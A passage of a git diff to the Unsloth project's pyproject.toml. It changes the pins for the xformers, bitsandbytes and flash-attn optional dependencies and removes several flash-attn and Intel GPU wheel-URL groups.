https://download.pytorch.org/whl/cu128/xformers-0.0.32.post2-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.32.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu128onlytorch280 = [ - "xformers @ https://download.pytorch.org/whl/cu129/xformers-0.0.32.post2-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu129/xformers-0.0.32.post2-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.32.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu130onlytorch280 = [ ] cu126onlytorch290 = [ - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.33.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.33.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.33.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu128onlytorch290 = [ - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.33.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.33.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.33.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu130onlytorch290 = [ - "xformers @ https://download.pytorch.org/whl/cu130/xformers-0.0.33.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu130/xformers-0.0.33.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.33.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu126onlytorch291 = [ - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.33.post2-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.33.post2-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.33.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu128onlytorch291 = [ - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.33.post2-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.33.post2-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.33.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu130onlytorch291 = [ - "xformers @ https://download.pytorch.org/whl/cu130/xformers-0.0.33.post2-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu130/xformers-0.0.33.post2-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.33.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu126onlytorch2100 = [ - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.34-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.34-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.34 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu128onlytorch2100 = [ - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.34-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.34-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.34 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu130onlytorch2100 = [ - "xformers @ https://download.pytorch.org/whl/cu130/xformers-0.0.34-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu130/xformers-0.0.34-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.34 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118 = [ "unsloth[huggingface]", @@ -350,22 +245,22 @@ cu121 = [ ] cu118-torch211 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu118onlytorch211]", ] cu121-torch211 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu121onlytorch211]", ] cu118-torch212 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu118onlytorch212]", ] cu121-torch212 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu121onlytorch212]", ] cu118-torch220 = [ @@ -435,17 +330,17 @@ cu124-torch251 = [ ] cu118-torch260 = [ "unsloth[huggingface]", - "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", + "bitsandbytes>=0.45.1", "unsloth[cu118onlytorch260]", ] cu124-torch260 = [ "unsloth[huggingface]", - "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", + "bitsandbytes>=0.45.1", "unsloth[cu124onlytorch260]", ] cu126-torch260 = [ "unsloth[huggingface]", - "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", + "bitsandbytes>=0.45.1", "unsloth[cu126onlytorch260]", ] cu118-torch270 = [ @@ -555,16 +450,19 @@ conda = [ ] colab-torch211 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu121onlytorch211]", ] +flashattention = [ + "packaging ; ('linux' in sys_platform)", + "ninja ; ('linux' in sys_platform)", + "flash-attn>=2.6.3 ; ('linux' in sys_platform)", +] colab-ampere-torch211 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu121onlytorch211]", - "packaging", - "ninja", - "flash-attn>=2.6.3 ; ('linux' in sys_platform)", + "unsloth[flashattention]", ] colab-torch220 = [ "unsloth[huggingface]", @@ -575,9 +473,7 @@ colab-ampere-torch220 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu121onlytorch220]", - "packaging", - "ninja", - "flash-attn>=2.6.3 ; ('linux' in sys_platform)", + "unsloth[flashattention]", ] colab-new = [ "unsloth_zoo>=2026.3.4", @@ -595,24 +491,22 @@ colab-new = [ "hf_transfer", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[triton]", - "sentence-transformers", + "typer", + "pydantic", + "pyyaml", + "nest-asyncio", ] colab-no-deps = [ "accelerate>=0.34.1", "trl>=0.18.2,!=0.19.0,<=0.24.0", "peft>=0.18.0", - "xformers ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "xformers<0.0.27", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "protobuf", ] colab = [ "unsloth[cu121]", ] -flashattention = [ - "packaging ; ('linux' in sys_platform)", - "ninja ; ('linux' in sys_platform)", - "flash-attn>=2.6.3 ; ('linux' in sys_platform)", -] colab-ampere = [ "unsloth[colab-ampere-torch220]", "unsloth[flashattention]", @@ -631,13 +525,13 @@ cu121-ampere = [ ] cu118-ampere-torch211 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu118onlytorch211]", "unsloth[flashattention]", ] cu121-ampere-torch211 = [ "unsloth[huggingface]", - "bitsandbytes==0.45.5", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu121onlytorch211]", "unsloth[flashattention]", ] @@ -721,19 +615,19 @@ cu124-ampere-torch251 = [ ] cu118-ampere-torch260 = [ "unsloth[huggingface]", - "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", + "bitsandbytes>=0.45.1", "unsloth[cu118onlytorch260]", "unsloth[flashattention]", ] cu124-ampere-torch260 = [ "unsloth[huggingface]", - "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", + "bitsandbytes>=0.45.1", "unsloth[cu124onlytorch260]", "unsloth[flashattention]", ] cu126-ampere-torch260 = [ "unsloth[huggingface]", - "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", + "bitsandbytes>=0.45.1", "unsloth[cu126onlytorch260]", "unsloth[flashattention]", ] @@ -795,7 +689,6 @@ cu130-ampere-torch280 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu130onlytorch280]", - "unsloth[flashattention]", ] cu126-ampere-torch290 = [ "unsloth[huggingface]", @@ -842,347 +735,8 @@ cu130-ampere-torch2100 = [ "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu130onlytorch2100]", ] -flashattentiontorch260abiFALSEcu12x = [ - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", -] -flashattentiontorch260abiTRUEcu12x = [ - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", -] -flashattentiontorch250abiFALSEcu12x = [ - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiFALSE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", -] -flashattentiontorch250abiTRUEcu12x = [ - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.5cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", -] -flashattentiontorch240abiFALSEcu12x = [ - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", -] -flashattentiontorch240abiTRUEcu12x = [ - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", -] -intelgputorch260 = [ - "unsloth_zoo[intelgpu]", - "unsloth[huggingfacenotorch]", - - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.2.0-cp39-cp39-linux_x86_64.whl#sha256=147607f190a7d7aa24ba454def5977fbbfec792fdae18e4ed278cfec29b69271 ; ('linux' in sys_platform) and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.2.0-cp310-cp310-linux_x86_64.whl#sha256=23aa423fa1542afc34f67eb3ba8ef20060f6d1b3a4697eaeab22b11c92b30f2b ; ('linux' in sys_platform) and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.2.0-cp311-cp311-linux_x86_64.whl#sha256=bcfa995229bbfd9ffd8d6c8d9f6428d393e876fa6e23ee3c20e3c0d73ca75ca5 ; ('linux' in sys_platform) and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.2.0-cp312-cp312-linux_x86_64.whl#sha256=bd340903d03470708df3442438acb8b7e08087ab9e61fbe349b2872bf9257ab0 ; ('linux' in sys_platform) and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.2.0-cp313-cp313-linux_x86_64.whl#sha256=814dccc8a07159e6eca74bed70091bc8fea2d9dd87b0d91845f9f38cde62f01c ; ('linux' in sys_platform) and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-manylinux_2_24_x86_64.whl ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-win_amd64.whl ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torch @ https://download.pytorch.org/whl/xpu/torch-2.6.0%2Bxpu-cp39-cp39-linux_x86_64.whl#sha256=6a8adf6dc4c089406e8b3a7e58ab57a463bddf9b07130d2576e76eced43e92af ; ('linux' in sys_platform) and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.6.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=ff4561cbf07c83bbccaa0f6e9bb0e6dcf721bacd53c9c43c4eb0e7331b4792f9 ; ('linux' in sys_platform) and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.6.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=12005f66b810ddd3ab93f86c4522bcfdd412cbd27fc9d189b661ff7509bc5e8a ; ('linux' in sys_platform) and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.6.0%2Bxpu-cp312-cp312-linux_x86_64.whl#sha256=c4c5c67625cdacf35765c2b94e61fe166e3c3f4a14521b1212a59ad1b3eb0f2e ; ('linux' in sys_platform) and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.6.0%2Bxpu-cp313-cp313-linux_x86_64.whl#sha256=e6864f7a60a5ecc43d5d38f59a16e5dd132384f73dfd3a697f74944026038f7b ; ('linux' in sys_platform) and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", -] -intel-gpu-torch260 = [ - "unsloth[intelgputorch260]" -] -intelgputorch270 = [ - "unsloth_zoo[intelgpu]", - "unsloth[huggingfacenotorch]", - - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=749a7098492c6a27b356c97149a4a62973b953eae60bc1b6259260974f344913 ; ('linux' in sys_platform) and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=44362e80abd752471a08341093321955b066daa2cfb4810e73b8e3b240850f93 ; ('linux' in sys_platform) and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=faa6b8c945a837a080f641bc8ccc77a98fa66980dcd7e62e715fd853737343fd ; ('linux' in sys_platform) and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=40f6fb65b345dc9a61813abe7ac9a585f2c9808f414d140cc2a5f11f53ee063c ; ('linux' in sys_platform) and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=b22b4c02ec71b4bfc862ae3cdfd2871dc0b05d2b1802f5db2196e0f897d581e9 ; ('linux' in sys_platform) and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp39-cp39-win_amd64.whl#sha256=d4b738d7fa5100c1bd766f91614962828a4810eb57b4df92cd5214a83505a752 ; sys_platform == 'win32' and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp310-cp310-win_amd64.whl#sha256=143fe8a64d807bcdb7d81bbc062816add325570aa160448454ab6ded4a0a17a1 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp311-cp311-win_amd64.whl#sha256=a8025459ff325d6e3532eb5cf72519db1b178155e7d60aff6c56beb5968fc758 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp312-cp312-win_amd64.whl#sha256=0dd07e6d5b872e42e48f5ee140e609d4554ca3cc509d5bf509ac232267cf358e ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.3.0-cp313-cp313-win_amd64.whl#sha256=a936a18182d8e065a9933afc9a3ebbffadd38604969f87c493831214539fc027 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-manylinux_2_24_x86_64.whl ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-win_amd64.whl ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp39-cp39-linux_x86_64.whl#sha256=f8ee75e50fcbb37ed5b498299ca2264da99ab278a93fae2358e921e4a6e28273 ; ('linux' in sys_platform) and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=d6fdc342961d98fdcd9d03dfd491a3208bb5f7fbb435841f8f72ce9fdcd2d026 ; ('linux' in sys_platform) and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=74d07f9357df5cf2bf223ad3c84de16346bfaa0504f988fdd5590d3e177e5e86 ; ('linux' in sys_platform) and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp312-cp312-linux_x86_64.whl#sha256=c806d44aa2ca5d225629f6fbc6c994d5deaac2d2cde449195bc8e3522ddd219a ; ('linux' in sys_platform) and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp313-cp313-linux_x86_64.whl#sha256=25d8277b7f01d42e2e014ccbab57a2692b6ec4eff8dcf894eda1b297407cf97a ; ('linux' in sys_platform) and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp39-cp39-win_amd64.whl#sha256=046e85125266ae69c1a0d083e6c092f947ab4b6b41532c16bafe40dbced845df ; sys_platform == 'win32' and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp310-cp310-win_amd64.whl#sha256=9ebaeffb82b0b3e39b6030927d3ebe0eb62a0e9045a3b2d7b0a9e7b15222c0db ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp311-cp311-win_amd64.whl#sha256=356ba66cee127e7e2c942880bd50e03768306a4ea08d358a0f29c6eebfc4bc81 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp312-cp312-win_amd64.whl#sha256=94739e665d9b4d5cd7af5f517cb6103f6f9fb421c095184609653a24524040f5 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.7.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=31df3cb674918e89bc8c532baa331dc84f4430e1f9c0ec379232db44cba78355 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", -] -intel-gpu-torch270 = [ - "unsloth[intelgputorch270]" -] -intelgputorch280 = [ - "unsloth_zoo[intelgpu]", - "unsloth[huggingfacenotorch]", - - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=ac4d8e33986b1c3c5e48151640539272b2187e83016985853111b46fb82c3c94 ; 'linux' in sys_platform and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=999fef4c1f711092b9d3086525920545df490de476ecebe899ffc777019ae17f ; 'linux' in sys_platform and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=57b09c8c492985ff6a27cd3a22b08e8f7b96b407bd8030967b6efbb9f63b80cf ; 'linux' in sys_platform and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu 